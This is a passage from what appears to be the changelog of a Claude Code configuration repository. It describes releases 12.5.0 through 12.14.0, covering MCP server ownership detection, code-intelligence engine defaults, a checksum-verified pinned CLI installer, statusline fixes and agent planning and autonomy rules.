- no join with 2+ inputs = nothing is parallelizable, and the plan should say so rather than imply batches that don't exist
Columns are topological levels, so ## Execution Plan batches are read off the DAG rather than maintained beside it. docs/parallel-batch-detection.md (Kahn's level detection, used by maestro) is now cross-linked as the machine form of the same graph, for plans too large to eyeball.
Escape hatch, deliberately narrow. The brace form requires contiguous vertical spans, so it cannot draw a node feeding two operations far apart in the ordering — that case, and graphs past ~12 inputs, use flowchart LR with identical semantics. Reach for it because the graph needs it, not because the ASCII was fiddly. A boxed-grid variant (image-faithful, denser) is offered for ≤ 6 inputs.
Wired into: AGENTS.md ("Every Plan Opens With a Functional DAG" — so Codex/Cursor inherit it too), agents/planner.md (RETURNS, core behavior, workflow step 5), skills/plan-feature (Phase 5 + the final PRD template), skills/build (Phase 2), skills/orchestrate (Phase 1 — fan-out piles are the DAG's columns), and skills/plan-ceo-review, where a plan arriving without a DAG is itself a finding: draw it, then report what the missing joins were hiding.
Scoped to plans. Reviews, audits, retros, and handoffs are unaffected — a handoff may quote the DAG it was working through, but doesn't invent one.
Three ambiguities Codex caught in cross-model review of the first draft, all fixed before landing:
prereqrows were self-contradictory — described as gating everything while joining nothing. As written, topological batch detection would treat them as ordinary roots and could schedulebun installalongside the work that needs it. They're now specified as a sequential pre-phase (Batch 0) explicitly excluded from batch detection, with no edges drawn.- The worked example contradicted its own reading rule —
token tableandlogin formwere called same-column siblings but their labels started at different offsets (26 vs 22). Labels are realigned, and the rule is now precise: an operation's level is the column its label sits in, and a line crossing a column without a bracket is routing, not participation. - Duplicate dependency truth in
plan-feature— per-taskDependencies/Blocksmetadata feeds the batch algorithm and can't simply be deleted, so Phases 4 and 5 now state that it must match the DAG's joins and that the DAG is authoritative on conflict.
A second Codex pass on the fixed diff found two more, also fixed:
- "The DAG wins on conflict" was unenforceable — operations carried prose labels while the machine algorithm keys on task IDs, leaving no deterministic mapping between the two. Operations now take an ID prefix (
T-2 token table) whenever the plan has task metadata. Inputs stay as paths; IDs belong to operations, because operations are the tasks. plan-feature's own execution-plan example violated the new terminal-node rule — it ended on two parallel unverified tasks (E2E + docs). It now ends onT-9: typecheck + full test run, and the skill states that the last batch is always the single verification gate, never a fan-out.
One finding was rejected: that install-fs.ts preflight should require docs/functional-dag.md explicitly. Preflight deliberately checks docs/ as a directory plus representative files (src/setup.ts), and enumerates no individual docs — architecture-reference.md, enhanced-todos.md, and thread-types.md are equally load-bearing and equally unlisted. Special-casing one doc of ~24 would be inconsistent, not safer.
Diagram alignment is machine-verified, not eyeballed: connector columns in the brace example land at 22/40/57/72 with matching ┐├┘ per column, and the boxed-grid variant is a uniform 59 columns wide.
[12.14.0] — 2026-07-28
An opt-in pinned CLI for tldr-code (github.com/parcadei/tldr-code v0.4.0, a Rust rewrite of the archived llm-tldr, shared by its maintainer after we dropped llm-tldr for going stale). Evaluated both halves of it separately, because they disagree.
The CLI is accurate. tldr dead . --lang typescript against this repo returns dead_functions: [], functions_analyzed: 648 — correct, with or without --lang.
The bundled MCP server (tldr-mcp) is not — it was rejected. Pointed at the same repo, it reports live, actively-called symbols (getCalls, getContext in src/codemap/callgraph.ts) as hard dead_functions, with line: 0. It also returns status: ok and total_functions: 0 on a wrong language value — the exact silent-wrong-answer shape v12.9.0 moved the default engine away from. tldr-mcp is therefore never installed and never registered as a code-intel engine: src/lib/code-intel-engine.ts's ENGINES registry and DEFAULT_ENGINE_ID are untouched, native-ts stays the MCP engine.
New — src/lib/pinned-tools.ts. A second pinned-binary installer, separate from engine-pin.ts/code-intel-engine.ts, for standalone CLI tools that are never MCP engines. Same security posture as the engine pin (checksum is the boundary; a mismatch deletes the download and throws, a missing checksum or network failure fails soft) with two differences the engine pin doesn't need to handle: the release asset is a .tar.xz archive, checksum-verified before extraction, and only the tldr binary is lifted out of it — tldr-mcp and tldr-daemon are deliberately left in the deleted staging dir, never written to disk. Asset naming uses Rust target triples, which don't match platformKey(), so the descriptor carries its own explicit platformKey → {triple, sha256} map for all four supported platforms.
Opt-in, not automatic. Nothing downloads on a plain setup.sh run. CC_PINNED_TOOLS=tldr-code bash setup.sh installs it to ~/.claude/code-intel/tldr-code/0.4.0/tldr; a failed install warns and does not abort the rest of setup.
Two more measured caveats now documented everywhere the CLI is referenced (agents/deslopper.md, skills/nuclear-review/SKILL.md, agents/security-reviewer.md, docs/tldr-cheatsheet.md):
- It exits 0 even on errors —
Error: Path not foundandunrecognized subcommandboth exit 0. Never trust the exit code; the caller has to check that stdout parses as JSON and thatfunctions_analyzed > 0. A non-JSON stdout orfunctions_analyzed: 0means the scan did not run, and must be reported as "scan unavailable" — never as "no dead code". semanticis not compiled into the prebuilt binary (unrecognized subcommand 'semantic'). Onlysearch(BM25, lexical, not embedding-based) exists. Every doc/agent reference totldr semanticis replaced withtldr search.vulnmisclassifies vulnerability types. It found a real taint flow but labelled anexecSynccommand injectionsql_injection/CWE-89.taint_flowlocation is trustworthy;vuln_type,cwe_id, andremediationare not.
dead_functions from the CLI is advisory only in deslopper and nuclear-review regardless of the accuracy measurement above — both agents auto-remove code on the strength of a dead-code pass, so every candidate is still confirmed with Grep before removal.
[12.13.0] — 2026-07-27
The statusline's ⚡ quota chip is back everywhere except Programa.
Hiding it was right for one terminal and wrong for every other. Programa's sidebar shows the same 5h numbers persistently, so a chip on every prompt was the same fact twice in the more crowded of the two surfaces — but the suppression was unconditional, so iTerm, Terminal.app and ssh sessions got no quota signal at all. The chip now renders unless PROGRAMA_SURFACE_ID is set.
formatTimeToReset came back with a fix rather than as-is. The old implementation was a bare Date.parse(iso), and resets_at is Unix epoch seconds on current Claude Code builds — Date.parse("1785190200") is NaN, so restoring it verbatim would have shipped a chip whose ↻2h15m suffix was permanently missing. It now reads a number-or-numeric-string as epoch seconds and keeps Date.parse for the ISO strings older builds emitted.
The cache write stays ungated. writeRateLimitsCache runs inside Programa too — that file is what the sidebar and quota-steer.ts both read, and statusline is what keeps it fresh between sessions, since session-start.ts only refreshes it on launch and resume. Gating the write alongside the display would have left the sidebar showing whatever the last session start happened to capture.
New tests/statusline-quota.test.ts (10 tests) spawns the hook with a sandboxed HOME, so fixture numbers never reach the real ~/.claude/tmp/rate-limits.json. It covers the gate both ways, the empty-variable edge, four resets_at shapes, and asserts the cache write happens in both branches — that last one is the regression that would silently stale Programa's sidebar.
[12.12.0] — 2026-07-27
Closes the limit v12.11.0 documented: mcp_written now records cc-settings' definition of every managed MCP server, not just the engine-managed tldr.
The sentinel's job is to let a later install recognize yesterday's output as its own. It only ever did that for tldr, so for every other managed server the only recognizable shapes were the ones the current code generates. That made a server's definition effectively immutable in practice: change figma's URL, and the entry the previous install wrote matches nothing, reads as a user hand-edit, is preserved — and the new URL never lands on that machine again. The failure is silent, and it compounds, since each subsequent change orphans another shape.
installSettings now returns the team MCP block it installed and writeVersionSentinel stamps it whole. Three properties this preserves, each with a test:
- an entry equal to what we shipped last time is replaced by what we ship now
- without the record (a pre-12.12.0 sentinel) the same entry is still preserved — the old behaviour, pinned so the improvement is legible
- an entry matching neither the old nor the new shipped definition is a genuine hand-edit and still wins
What gets recorded is deliberately our definition, not what ended up on disk. Where a user's copy shadowed ours, disk holds theirs — echoing that would make the next install recognize their customization as our stale output and clobber it. Remembering what we shipped is the safe direction: an entry equal to it is unambiguously ours to replace.
Light installs still record nothing, for the reason they always did — they remove the managed servers, so claiming authorship of entries this run did not write would let a later install misread a user's own entry as our output.
settings.json gets the same test. Cross-model review caught that the above fixes ~/.claude.json only. settings.json carries its own copy of the MCP block and had no stale-output detection at all — so a definition cc-settings wrote on an older version read as a user customization there and was preserved indefinitely, even while ~/.claude.json was being updated correctly. That is not hypothetical: it is exactly how a pre-v12.8.1 tldr entry survived every reinstall on a real machine, printing "Preserving your customization" each time, until it was deleted by hand. resolveMcpServers now runs isStaleCcOutput before deciding a shared server diverged, and the prior record is threaded through mergeSettingsWithMcpPreservation. A genuine customization still wins in both destinations.
1004 tests pass (up from 997).
[12.11.0] — 2026-07-27
Ownership of an MCP server was decided by comparing definitions byte-for-byte. That comparison counted documentation-only keys, so cosmetic residue could permanently transfer ownership of a server away from cc-settings — silently, and with no way to see it had happened.
1. Annotation keys no longer decide ownership. _status, _comment, _description and friends are ignored by Claude Code, and the settings composer stopped emitting them — but installs predating that strip wrote them inline into ~/.claude.json, where they persist. An entry carrying one compared unequal to the team entry, so isStaleCcOutput classified it a hand-edit, the merge preserved it, and every subsequent update to that server silently stopped landing. Comparison now runs on functional fields only (functionalKey), so such an entry is recognized and refreshed. A genuine customization — different command, args, url, headers — still differs and is still preserved.
Observed on a real install: figma and chrome-devtools differed from the team entry in _comment and _status and nothing else. Both were pinned. After the fix both refresh and the residue is dropped, while a context7 pointed at the hosted HTTP endpoint with a user API key stays untouched.
The stripped set is a closed list (_comment, _description, _usage, _contextCost, _status) rather than a _-prefix test — an unknown _-prefixed field could be a Claude Code extension we don't model yet, so it still counts as a divergence and is still preserved. serverInstructions is functional and is never stripped.
Known limit, unchanged by this release. Recovery only reaches entries that are functionally identical to ours. If a non-engine server's shipped definition later changes (say figma's URL) and a machine holds the old value, that entry still differs on a real field, is still read as a user customization, and the new value will not land there. mcp_written closes this for engine-managed servers by recording what was actually written; extending it to every managed server is the general fix and is not done here.
2. The summary distinguishes shipping a server from running our definition of it. It previously grouped servers by reading _status back off ~/.claude.json — a key nothing we write carries, so the grouping was driven entirely by pre-strip residue. figma and chrome-devtools happened to still have it and were labelled correctly by accident; tldr and context7 did not and were reported to the user as "user-added". Classification now derives from config/20-mcp.json's server names, the only authority on ours-vs-theirs. The dead optional bucket is gone (nothing ever set it) and core is relabelled cc-settings.
Servers whose local copy shadows ours are now marked (your copy is in use — cc-settings' version not applied). That distinction is what makes defect 1 visible instead of silent.
3. The divergence notice names what diverged. Preserving your customization of N shared MCP server(s) listed names only. It now lists the differing fields per server, and when the only difference is serverInstructions while command/args match, it says outright that this is usually a stale entry from an older cc-settings and points at the fix — that shape is almost never a deliberate customization.
Documentation caught up with the v12.9.0 engine flip. Seven files still presented llm-tldr as the default and advertised semantic/dead/diagnostics as available capabilities; a stock install was being told to pipx install llm-tldr for a server that needs nothing. docs/tldr-cheatsheet.md is rewritten around native-ts, with the CLI/daemon/index material demoted to the opt-in section, and skills/tldr/SKILL.md's quick-reference marks the seven tools that return unsupported-by-native-engine.
Three corrections in that pass came from cross-model review, each verified against source:
- Exporting
CC_CODE_INTEL_ENGINEis not sufficient to switch engines. Thetldrentry in~/.claude.jsonis written at install time, so a shell-only export leaves the hooks on one engine and the MCP server on the other. Every selection instruction now says to re-runsetup.shwith the variable set. mcp-configs/recommended.jsonclaimed the installer rewrites itscommand/args. Nothing insrc/reads that file — it is reference-only, and it shows the llm-tldr shape. Now labelled as such.extractreturns{ file, symbols }— names, kinds, lines, signatures — not source bodies, so it is not a substitute forRead.
The "17 languages" claim is dropped throughout; no source in this repo supports the number and upstream contradicts it.
Also: the rule-file dedup sweep finished (performance.md, react-perf.md, style.md, ui-skills.md). The two perf files turned out to barely overlap, so that is the end of the sweep rather than the middle of it.
994 tests pass (up from 976).
[12.10.1] — 2026-07-27
Caught while verifying v12.10.0 on a real install: the migration rule fired on installs it shouldn't have. A v12.10.0 install that resolved the default implicitly omitted engine_explicit entirely, so the next install couldn't distinguish "we stamped this implicitly" from "this sentinel predates the field" — and the legacy inference then marked it explicit, re-pinning the very default it was supposed to leave free.
engineExplicit is now three-state (true / false / null for absent) and engine_explicit is always written. Absence now means exactly one thing — stamped before v12.10.0 — which is the only case where intent is inferred from the engine id.
Verified on a real install from a legacy sentinel: two consecutive installs both land engine: native-ts, engine_explicit: false, and the tldr MCP entry stays on the native engine. Idempotent, and still free to follow a future default change.
[12.10.0] — 2026-07-27
v12.9.0 changed the default engine to native-ts. It reached nobody. This release makes it actually apply, and fixes the same class of bug in two more places.
Three defects, all instances of an empty or stale result being indistinguishable from a correct one:
1. The install sentinel pinned the engine forever. resolveEngine honoured ~/.claude/.cc-settings-version's engine field identically whether it came from a deliberate CC_CODE_INTEL_ENGINE opt-in or was merely stamped as the default at first-install time — and every install re-stamped whatever it had just read. Once any value landed, DEFAULT_ENGINE_ID became unreachable. SentinelInfo gains engineExplicit (from a new engine_explicit field, defaulting false), and resolveEngine now returns { engine, explicit }, honouring the sentinel only on an explicit choice.
Legacy sentinels are migrated asymmetrically, and deliberately: one holding llm-tldr is ambiguous (it was the default then) and is treated as implicit, so the flip reaches it; one holding any other engine could only have come from an explicit opt-in, so it is preserved. That asymmetry is what stops an existing native-ts user from being silently downgraded.
2. The stale-detector was blind to its own history. isStaleCcOutput decided "cc-settings' prior output" vs "genuine user hand-edit" by rebuilding candidates from the live ENGINES registry — so the moment a descriptor's serverInstructions text was edited, the previous install's output stopped matching and was misclassified as a hand-edit, then won the merge. This is why v12.8.1's fix never landed on any existing machine either. The sentinel now records mcp_written — an exact echo of what was written — and isStaleCcOutput accepts it as an additional match branch. A real hand-edit still differs from that snapshot and is still preserved; mcp_written is recorded on full installs only, since a light install removes the managed server.
3. Our own engine returned empty on a missing argument. Calling native-ts's impact with a misnamed argument returned {"symbol":"","references":[]} — identical in shape to "this symbol has no callers." Five tools whose required symbol/target had no fallback (extract, imports, importers, context, impact) now return a structured missing-required-argument error naming the accepted keys. An unknown or mistyped CC_CODE_INTEL_ENGINE likewise no longer records itself as an explicit choice, which would have pinned a typo's fallback permanently.
Verified end-to-end across all four resolution paths:
| sentinel state | resolves to |
|---|---|
legacy implicit llm-tldr | native-ts, implicit — flip applies |
legacy opt-in native-ts | native-ts, explicit — opt-in preserved |
explicit llm-tldr | llm-tldr, explicit — honoured |
| typo in env var | native-ts, implicit — not pinned |
976 tests pass (up from 964). Note for anyone whose install predates this: the sentinel migration runs on your next install, but the previously-written ~/.claude.json entry is only replaced once mcp_written exists to recognise it — so a machine carrying stale output from before v12.10.0 may need the tldr entry removed by hand once.
[12.9.0] — 2026-07-27
The default code-intel engine is now native-ts. v12.8.1 fixed the instructions around llm-tldr's python-defaulting language parameter; this changes the default so the trap isn't there to step into.
The measured argument, same three queries, ground truth verified against grep:
| query | llm-tldr (as shipped) | native-ts |
|---|---|---|
impact resolveEngine (5 callers) | {"status":"ok","callers":[]} | exact |
importers hook-runtime (23) | [] | 23 |
| "delegation tool-call threshold" | ranked 3 unrelated symbols | n/a — refuses |
native-ts implements structure, tree, extract, arch, imports, importers, calls, context, impact, change_impact. It returns unsupported-by-native-engine for semantic, dead, diagnostics, slice, cfg, dfg, and search.
That refusal is the point. A tool that says "I did not run" is strictly better than one that says {"status":"ok"} and means nothing — the second gets a live symbol deleted.
Changed:
src/lib/code-intel-engine.ts—DEFAULT_ENGINE_ID = "native-ts"; native-tsserverInstructionsnow state thatunsupported-by-native-enginemeans the analysis did not run and must not be reported as a clean result.agents/deslopper.md,docs/deslopper-team-mode.md,skills/nuclear-review/SKILL.md— the dead-code passes now fail loudly. Anunsupportedresponse is reported as "scan unavailable", never as "no dead code found", and a zero-callerimpactmust be confirmed withGrepbefore anything is deleted.skills/tldr/SKILL.md— rewritten around the new default, with llm-tldr documented as the opt-in for non-TS/JS repos.
Trade-off, stated plainly: native-ts is TypeScript/JavaScript only. On a Rust, Python, or Go repo, select llm-tldr explicitly (CC_CODE_INTEL_ENGINE=llm-tldr) and pass language on every call. It is archived upstream, so that is now a deliberate choice rather than a default anyone falls into. No capability was actually lost in the flip: the tools native-ts refuses were the ones returning empty results on TS anyway.
[12.8.1] — 2026-07-27
A head-to-head evaluation of code-intel engines (prompted by upstream llm-tldr being archived on 2026-07-13) turned up a live defect in our own configuration: the tldr MCP tools were returning confident empty answers on every TypeScript repo.
The language parameter does not auto-detect. It defaults to python. On a TS codebase the tools return {"status": "ok", ...} with an empty result rather than an error, so a wrong answer is indistinguishable from a true negative:
mcp__tldr__impactonresolveEngine(5 real callers) →{"status":"ok","callers":[]}mcp__tldr__structureonsrc/lib/(30+ TS files) →{"language":"python","files":[]}mcp__tldr__importersonhook-runtime(23 real importers) →[]mcp__tldr__dead→total_functions: 0, dead_percentage: 0.0
Worse, our config actively caused this. skills/tldr/SKILL.md said "Do NOT hardcode language param — auto-detection handles 17 languages" and the MCP serverInstructions said "auto-detection is preferred." Agents followed that instruction into a silent wrong answer, on the tool they were told to run before refactoring.
Fixed — skills/tldr/SKILL.md, config/20-mcp.json, src/lib/code-intel-engine.ts:
- Every "auto-detected" claim replaced with an explicit instruction to pass
language. serverInstructionsnow states thepythondefault and warns that an empty result is not evidence of no match.- CRITICAL RULES reordered — the language rule is now first, because it invalidates the rest when broken. The old rules 2 and 3 ("ALWAYS use
tldr impact", "ALWAYS usetldr semantic") named the two tools that expose nolanguageparameter at all and are therefore unusable on non-Python code; both now carry a cross-check-with-Grep instruction instead.
No engine switch. native-ts answered the same queries correctly and impact is one of the tools it implements, but it returns unsupported-by-native-engine for semantic, dead, diagnostics, slice, cfg, dfg, and search — that trade is a separate decision, not a defect fix.
[12.8.0] — 2026-07-27
Realigned the config against Anthropic's "new rules of context engineering for Claude 5 generation models". Anthropic removed over 80% of Claude Code's own system prompt for Opus 5 and Fable 5 with no measured performance loss; the same audit here found four outright contradictions between always-loaded files, a routing policy that existed as both static prose and a live hook injection, and 160 lines of deslopper team-mode workflow loading on every invocation to serve a mode that only fires at 100+ files.
Conflicting instructions are the expensive failure — they force the model to arbitrate between two rules instead of following one.
Fixed — contradictions between always-loaded files:
- Delegation threshold read "10+ tool calls" in
CLAUDE-FULL.mdwhiletool-cadenceenforced 12. The doc now citesCC_PARALLELMAX_THRESHOLDas the single source. AGENTS.mdprescribed a two-section PR template "only";rules/git.mdprescribes three, led by "What this does".AGENTS.mddefers.AGENTS.md"5+ files → get approval" contradicted the Autonomy Contract. Now: state the plan, don't ask permission for reversible in-scope work.skills/lighthouseandskills/plan-featuredisagreed on Core Web Vitals in both directions (2.5s vs 3s LCP, 200ms vs 100ms INP).plan-featurecorrected to Google's thresholds.
Fixed — instructions stated at more than one level:
- Codex routing policy lived in
CLAUDE-FULL.mdprose and in thecodex-verifySessionStart injection. The prose was the stale copy, loading even when the bridge was down. The hook is now the single source; the doc keeps a pointer. delegation-detectorre-taught a rule already in the always-loaded context. It now reports the breadth signal and stops.- One fallback paragraph was copy-pasted across
fix,refactor,verify,ship, andnuclear-review/references;shipalso stated the AI-attribution rule twice in one file.
Changed — progressive disclosure:
agents/deslopper.md504 → 347. Team Mode coordinator workflow, scanner prompts, and merge protocol moved to the newdocs/deslopper-team-mode.md, read only when the Mode Selection table calls for a fan-out.agents/maestro.md335 → 175. Removed the orchestration ASCII flowchart, the CORRECT/INCORRECT spawning example, and three pseudocode patterns, all of which restated the Core Principles and Thread Orchestration table directly above them.AGENTS.mdlost the Next.js project-structure tree, which was wrong for every non-Next repo including this one. Tech Stack is now scoped as the web-client default rather than a universal assumption.
Kept deliberately:
AGENTS.mdretains its Coding Standards despite overlappingrules/andprofiles/— Codex, Cursor, and Copilot read onlyAGENTS.md, so deduplicating there would drop the standards for those tools.- WCAG thresholds are restated in
skills/qaandskills/design-tokensbecause both fork withoutReadand cannot follow a pointer.rules/accessibility.mdis the canonical copy and now carries the full set (AAA, non-text 3:1, touch-target spacing) it was missing. - The Action-First Output rules stay. The guidance targets rules a model would get right by judgment; output shaping is a stated preference, which is not inferable.
Cross-model review over three rounds caught six issues, four of them introduced by the deduplication itself — most sharply, a spawn-failure fallback moved into the agent definition that failed to spawn.
[12.7.3] — 2026-07-24
Running bun test fired real macOS notifications — "auto-update blocked — repo path does not match the enrolled path" and friends. Nothing was wrong: the suite spawns the auto-update script and deliberately drives its blocked-path and skipped-dirty branches to prove those guards hold, and each one reached the real notifier. Anyone running the tests got alarming desktop alerts about failures that only happened inside a temp-dir fixture.
Fixed — src/scripts/notify.ts:
- New
notificationsSuppressed()guard at the top ofsendNotification, muting underNODE_ENV=testorCI=true.bun testsetsNODE_ENVand the harnesses spawn children with the parent env, so the flag reaches spawned scripts without any test-file changes. CI === "true"exactly, matchingsrc/lib/schedule.ts— a truthiness check would readCI="false"as CI. Caught by cross-model review.tests/scripts-smoke.test.tspins both flags, including theCI="false"case.
[12.7.2] — 2026-07-24
The nightly auto-update had been reporting success while doing nothing. It only re-ran the installer when git pull brought down new commits, so once the repo sat ahead of ~/.claude — a local commit, or a manual pull never followed by setup.sh — there was nothing to pull, and the job logged "already up to date" and stopped. The installed version drifted further behind every day while the log insisted everything was current. On the maintainer's machine that meant five consecutive clean-looking runs against a stale install.
Fixed — src/scripts/auto-update.ts:
- The
before === afterearly return now also requires!stale, where stale comes fromcomputeDrift(installedVersion, readPackagedVersion(repoPath)). Both helpers already backed the statusline drift nudge; the job simply wasn't consulting them. Any drift between the repo and the install now heals on the next run. - The setup-triggering log line distinguishes its two causes —
pulled <before> -> <after>versusno new commits, but installed vX is behind packaged vY.
Note: the job still skips entirely on a dirty cc-settings tree. That is deliberate (never clobber WIP), but on a repo you actively develop in it means a scheduled run during uncommitted work does nothing.
[12.7.1] — 2026-07-24
Action-first's closing rule was being satisfied the wrong way. "End with ONE concrete next action" got read as name an action, so turns ended on "Want me to implement the fix and file it as an issue?" — for work already inside the scope the user granted, where the answer is always yes. The round-trip bought nothing but a turn.
Changed — CLAUDE-FULL.md "Action-First Output":
- "End with ONE concrete next action" → "Do the next action, don't offer it." If the next step is in scope and reversible, take it and report; naming an action is not the same as ending with one. Close with what you did, what it means, what's still open.
- New rule: only end on a question when the decision is genuinely the user's — irreversible, outward-facing, or two paths leading to materially different work — and then as a real choice with a recommendation, not as permission to continue.
- "Suppress tangents" no longer routes second findings into a question. A second finding gets one line stating it and your call; if it's in scope and cheap, do it.
- Pre-send check gains: if the last line is a question, ask whether you could have just done it — if yes, delete the question, do the thing, report.
Changed — CLAUDE-FULL.md Autonomy Contract:
- New pre-approved entry: fixing a defect you surfaced while doing work the user asked for. Finding and reporting it is half the job; "want me to fix it?" is the other half billed back to the user.
- The pre-approved list is now explicitly a floor, not a whitelist — absence from it doesn't imply "ask." The test is reversibility and scope; only the "Always ask" list is a hard stop.
Fixed:
.claude-plugin/plugin.json: staleopus-4.8keyword →opus-5(missed in the v12.7.0 model-routing sweep; keywords aren't schema-checked, so no linter caught it).biome.json:$schemasynced2.5.0→2.5.4, silencing a config-version info block printed on everybun run lint..tldr/cache/call_graph.jsonuntracked — a build artifact committed before.tldr/was gitignored (gitignore doesn't untrack).
Files changed:
CLAUDE-FULL.md.claude-plugin/plugin.jsonbiome.jsonsrc/setup.ts
[12.7.0] — 2026-07-24
Model routing moved from the opus[1m] interim to Claude Opus 5 (claude-opus-5), released 2026-07-24. Opus 5 lands near Fable 5's frontier quality at half the price ($5/$25 vs $10/$50 per MTok) and runs the full 1M context natively on Max — the [1m] pin required for Opus 4.8 is now a no-op, so it's dropped everywhere. Requires Claude Code v2.1.219+.
Changed:
config/10-core.json: composed defaultmodelmovedopus[1m]→claude-opus-5.agents/maestro.md,agents/planner.md: pin movedopus[1m]→claude-opus-5.agents/security-reviewer.md: pin movedopus→claude-opus-5.docs/agent-models.md,docs/frontmatter-reference.md,docs/profiles.md,MANUAL.md,CLAUDE-FULL.md: narrative reframed from "interim top tier while Fable 5 is suspended" to "Opus 5 is the committed top tier"; Fable 5 documented as generally available but 2× the price, so rarely worth it over Opus 5 for this work.
Unchanged on purpose: the Sonnet-5 workhorse split (implementer, explore, tester, scaffolder, deslopper, reviewer, codex-verifier stay sonnet; CLAUDE_CODE_SUBAGENT_MODEL stays sonnet); fable remains a valid model alias/advisor tier.
Files changed:
config/10-core.jsonagents/maestro.mdagents/planner.mdagents/security-reviewer.mddocs/agent-models.mddocs/frontmatter-reference.mddocs/profiles.mdMANUAL.mdCLAUDE-FULL.mdsrc/setup.ts.claude-plugin/plugin.jsonCHANGELOG.md
[12.6.0] — 2026-07-22
Upstream sync with Claude Code v2.1.216–v2.1.217. One behavioral change ships to installs: v2.1.217 stops subagents from spawning nested subagents by default, which would have silently broken maestro and deslopper orchestration — cc-settings now sets CLAUDE_CODE_MAX_SUBAGENT_SPAWN_DEPTH=2 to keep their fan-out working.
Adopted:
CLAUDE_CODE_MAX_SUBAGENT_SPAWN_DEPTH=2shipped inconfig/10-core.json(v2.1.217). Subagents no longer spawn nested subagents by default upstream;maestroanddeslopperare subagents that fan out via the Agent tool, so without a depth override their orchestration dies silently. Documented in the env table anddocs/agent-models.md.CLAUDE_CODE_MAX_CONCURRENT_SUBAGENTStracked in the manifest + env table (v2.1.217). Default cap of 20 concurrently-running subagents; excess spawns queue. Relevant context for wide fan-out patterns, default left as-is.emojiCompletionEnabledadded tosrc/schemas/settings.ts+ manifest + settings table (v2.1.217). Emoji shortcode autocomplete in the prompt input; boolean toggle.sandbox.filesystem.disabledadded to the Sandbox schema + sandbox docs table (v2.1.216). Skips filesystem isolation while keeping network egress control.FORCE_HYPERLINKtracked in the manifest + env table (v2.1.217). Footer PR badges are now forced hyperlinks over ssh/tmux;0opts out.
Deletions / Native-now-redundant: none — both releases were otherwise bug fixes and upstream UX with no cc-settings surface (MCP output memory leak, quadratic message-normalization slowdown, worktree git-redirection hardening, /ultrareview and /code-review ultra error-message improvements, bundled dataviz skill update).
Files changed:
src/schemas/settings.ts,schemas/settings.schema.jsonconfig/10-core.jsonupstream/claude-code-manifest.jsondocs/settings-reference.mddocs/agent-models.mdsrc/setup.tsCHANGELOG.md
[12.5.1] — 2026-07-20
Action-first shaping extended from responses-to-the-user to ghostwritten outbound text. The Voice section in CLAUDE-FULL.md now covers Slack messages (first line carries the ask or the news, one topic per message, named owner + deadline when something is needed, link out for detail); rules/git.md gains an action-first block under "Signal, not spam" (description as TL;DR, numbered review order for large diffs, bounded test-plan items, 5-item cap) and a new "Issue descriptions" subsection (observed effect first, numbered one-action repro steps, one issue per problem); the /project issue template points at it. Substance lives in rules/git.md for PR/issue bodies and in the Voice section for Slack, with cross-references instead of duplication — both files are always-loaded, so restating either in the other would double the context cost.
[12.5.0] — 2026-07-20
Three-part release from a single audit-driven session: the nuclear-review whole-codebase remediation, the adhd divergent-ideation skill, and the always-on action-first output style.
Action-first output style — the 10 response-shaping rules from ayghri/i-have-adhd (MIT), integrated as an always-on CLAUDE-FULL.md section rather than a 40th skill: lead with the next action, number multi-step work, restate state each turn, concrete time estimates, visible wins, matter-of-fact errors, 5-item list cap, no preamble/recap/closers — plus the upstream override cases (explain-mode, destructive-action confirmation, debug-spiral circuit breaker, ambiguity) and pre-send check. Renamed from the upstream "i-have-adhd" to avoid trigger-space collision with the unrelated adhd ideation skill; condensed ~120 lines to ~40 for per-session context cost. Surfaced in MANUAL.md's Guardrails list. A follow-up dedup sweep removed the per-skill style prose the global section supersedes — seven passages across plan-ceo-review, strategist, explore, nuclear-review now reference the global rules instead of restating them (scan covered all 39 skills; borderline hits like template-field "concise"/"brief" modifiers were deliberately left — they're field sizing, not style duplication).
New skill: adhd — parallel divergent ideation, ported from UditAkhourii/adhd (MIT), following the nuclear-review/freeze port pattern (adapt the SKILL.md, no npm dependency). Five isolated generator agents under distinct cognitive frames diverge in parallel; a critic pass scores (novelty/viability/fit), clusters, flags traps, and deepens the top 3. cc-settings adaptations: a sibling-routing section (/adhd generates the option space, /oracle compare weighs known options, /plan-ceo-review challenges the premise), quota-doctrine model notes (generators ride the Sonnet subagent pool; synthesis stays on the session model), and the upstream CLI section replaced with attribution. Skill count 38 → 39 (ACTIVE_SKILLS, MANUAL table + prose, CLAUDE.md / CLAUDE-FULL.md ledgers, README).
Nuclear-review remediation — all 17 findings from the 2026-07-20 whole-codebase maintainability audit (docs/audits/nuclear-review-2026-07-20.md), landed as one behavior-preserving consolidation pass. 936 tests pass; typecheck, Biome, lint:skills, and schemas:check all green.
Deleted / restructured:
buildInstallPlan+InstallStepremoved fromsrc/setup.ts(N1) — the JSDoc claimed three consumers; the call graph had one, and only its light-profile prune branch did real work. That computation now lives insrc/lib/light-profile.tsaslightProfilePruneTargets().- The fs-mutation install phases (backup / clean / copy, ~260 lines) extracted from
src/setup.tsinto the newsrc/lib/install-fs.ts(N9), following the existinginstall-cmds.ts/install-display.tspattern;setup.tsdrops to ~600 lines of orchestration. createBackupandcleanOldConfignow derive from one sharedMANAGED_TOP_LEVEL_PATHSlist (N4) — closing the H7-class drift vector where the backup and wipe sets were maintained by hand in two places.frontmatter-validate.tsnow reuseslintAgentsDir/lintSkillsDir/lintProfilesDirfor discovery instead of its ownWALK_SPECSwalker (N5, ~60 lines deleted; install-time behavior unchanged).src/codemap/tools.tsis the new single registry behind both the MCP server'stools/list/tools/calland the CLI verb dispatch (N8) — previously two hand-maintained definitions of the same surface. Codemap also gains its missing tests:getArch/getTree/getCalls/getChangeImpactcoverage plus a JSON-RPC protocol test (tests/codemap-mcp.test.ts).
Consolidated (behavior-identical):
ReviewQueueStateSchemahoisted fromstatusline.tsintosrc/lib/review-queue.ts; all readers/writers (tool-cadence.ts,session-start.ts,review-batch.ts) now zod-validate instead of casting (N2), matching the repo's stated state-file policy.pruneArtifacts()added toartifact-store.ts; the three hand-rolled mtime-prune loops incheckpoint.ts,handoff.ts,session-start.tsnow call it (N6).intEnvexported (plus newparseIntArg) fromhook-config.ts; six NaN-guard parse copies replaced (N11).emitAdditionalContext()added tohook-runtime.ts; four hooks' identical inline emits replaced (N13).handoff.ts's PreCompact git reads parallelized viaPromise.all, mirroringcheckpoint.ts(N14).- One shared
SHELL_SEGMENT_SEP_REinhook-command.tsreplaces the twin separator regexes inaudit-hooks.ts/safety-net.ts(N15). - Generic
